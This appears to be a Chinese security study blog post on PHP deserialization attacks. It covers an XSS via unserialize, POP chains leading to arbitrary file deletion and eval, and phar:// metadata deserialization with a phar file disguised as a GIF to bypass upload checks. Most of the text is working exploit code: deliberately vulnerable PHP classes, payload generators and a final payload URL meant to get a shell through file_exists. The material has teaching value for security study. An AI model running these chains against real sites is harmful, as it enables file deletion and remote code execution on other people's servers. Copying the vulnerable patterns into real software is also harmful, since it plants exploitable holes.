0x00 前言
看了2天的tp开发手册,本来想直接去审tp,仔细一想,反序列化知识快忘了。。重新复习一下吧
先贴链接:
https://www.freebuf.com/column/154530.html
https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html。
0x01 最简单的反序列化
<?php
class A{
var $test = "demo";
function __destruct(){
echo $this->test;
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>
构造
test=O:1:"A":1:{s:4:"test";s:28:"<img src=1 onerror=alert(1)>";}
就可以xss。当然还可以结合实际环境造成更大的危害。
反序列化中简单的 POP 链
1.<?php
2.class Example3
3.{
4. protected $obj;
5.
6. function __construct()
7. {
8. $this->obj = new Example5;
9. }
10.
11. function __toString()
12. {
13. if (isset($this->obj)) return $this->obj->Delete();
14. }
15.}
16.
17.class Example4
18.{ public $cache_file;
19. function Delete()
20. { $file = “/var/www/html/cache/tmp/{$this->cache_file}”;
21. if (file_exists($file))
22. {
23. @unlink($file);
24. }
25.
26. return ‘I am a evil Delete function’;
27. }
28.}
29.
30.class Example5
31.{
32. function Delete()
33. {
34. return ‘I am a safe Delete function’;
35. }
36.}
37.
38.$user_data = unserialize($_GET['data']);
39.echo $user_data;
40.?>
这个例子和下文单独拿出来的POP CHAIN有相同之处(可以归为一类),下文再分析,我们先看这个代码:
Example3,Example4,Example5是需要在类与类之间跟踪数据传输的过程,其中Example3中的__toString魔术方法调用了Delete()方法且在代码unserialize($_GET['data']);与echo $user_data;满足反序列化函数可控和魔术方法触发的条件,接下来就需要跟踪__toString魔术方法中的数据传递过程。
跟踪寻找Delete()方法,在Example5中发现了是一个做了安全处理Delete()的方法,在Example4中也存在了一个Delete()方法,但该方法存在安全问题;
由protected $obj与$this->obj = new Example5;可知道传入的是受保护的class(需要在序列化后对数据进行编码或者在星号*前后加上%00) 所以可以通过反序列化将$obj设置为 Example4,然后就会使用 Example4中存在安全问题的Delete()方法,导致任意文件删除漏洞。
使用如下代码构造payload,删除/var/www/html下的thinking3文件。
1.<?php
2.class Example3
3.{
4. protected $obj;
5.
6. function __construct()
7. {
8. $this->obj = new Example4;
9. }
10.
11.}
12.
13.class Example4
14.{ public $cache_file = ‘../../thinking3′;
15.
16.}
17.
18.$evil = new Example3();
19.echo urlencode(serialize($evil));
20.?>
POP CHAIN
POP CHAIN:把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。
通俗点就是:反序列化中,如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。
<?php
class lemon {
protected $ClassObj;
function __construct() {
$this->ClassObj = new normal();
}
function __destruct() {
$this->ClassObj->action();
}
}
class normal {
function action() {
echo "hello";
}
}
class evil {
private $data;
function action() {
eval($this->data);
}
}
unserialize($_GET['d']);
先找魔术方法__destruct(),lemon这个类本来是调用,normal类的,但是现在action方法在evil类里面也有,所以可以构造pop链,调用evil类中的action方法。
<?php
class lemon {
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil();
}
}
class evil {
private $data = "phpinfo();";
}
echo urlencode(serialize(new lemon()));
echo "
";
注意的是,protected $ClassObj = new evil();是不行的,还是通过__construct来实例化。
继续说上面的反序列化中简单的 POP 链例子,
__construct()魔术方法中
实例化了一个Example5类,类中有Delete()
这个Example5类中是安全的方法,无法利用。但是他又一个Example4类,还有Delete()方法,那么相同名字的函数这个条件就找到了,之后就是把类中的敏感函数(方法)和属性相关联。
比如这里就是用的、ublic $cache_file这个我们可以控制的属性。最后实现任意文件删除
phar://
转自Seebug:https://paper.seebug.org/680/#22-demo
概要
通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大。但在不久前的Black Hat上,安全研究员Sam Thomas分享了议题It’s a PHP unserialization vulnerability Jim, but not as we know it利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。
该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
原理
phar文件结构
在了解攻击手法之前我们要先看一下phar的文件结构,通过查阅手册可知一个phar文件有四部分构成:
a stub
可以理解为一个标志,格式为xxx,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
the file contents
被压缩文件的内容。
[optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾,格式如下:
Demo测试
根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作。注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
phar_gen.php
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
可以明显的看到meta-data是以序列化的形式存储的:
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
通过一个小demo证明一下
phar_test1.php
<?php
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}
$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
?>
其他函数当然也是可行的,当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作,一些之前看起来“人畜无害”的函数也变得“暗藏杀机”,极大的拓展了攻击面。
将phar伪造成其他格式的文件
在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
将后缀改为gif进行测试
<?php
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}
$filename = 'phar://phar.gif/test.txt';
file_get_contents($filename);
?>
采用这种方法可以绕过很大一部分上传检测。
利用条件
phar文件要能够上传到服务器端。
如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数要有可用的魔术方法作为"跳板"。
文件操作函数的参数可控,且: / phar等特殊字符没有被过滤。
漏洞验证
upload_file.php后端检测文件上传,文件类型是否为gif,文件后缀名是否为gif
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];
if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}
upload_file.html
<body>
<form action="http://localhost/upload_file.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>
file_un.php存在file_exists(),并且存在__destruct()
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename);
根据file_un.php写一个生成phar的php文件,在文件头加上GIF89a绕过gif,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码
构造eval.php
<?php
class AnyClass{
var $output = ;
function __destruct()
{
eval($this -> output);
}
}
$phar = new Phar('phar.phar');
//开始生成phar文件
$phar -> startBuffering();
//设置phar文件标志
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
//自定义的meta-data文件
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);//将自定义的meta-data文件存入phar文件
//在停止写入phar文件,自动生成签名
$phar -> stopBuffering();
访问eval.php生成phar.phar,将后缀改为gif
然后上传到目录下与file_un.php同目录,利用file_un.php中的危险函数getshell
payload:
file_un.php?filename=phar://phar.gif
参考
https://www.smi1e.top/php反序列化攻击拓展/
https://www.freebuf.com/column/154530.html
https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html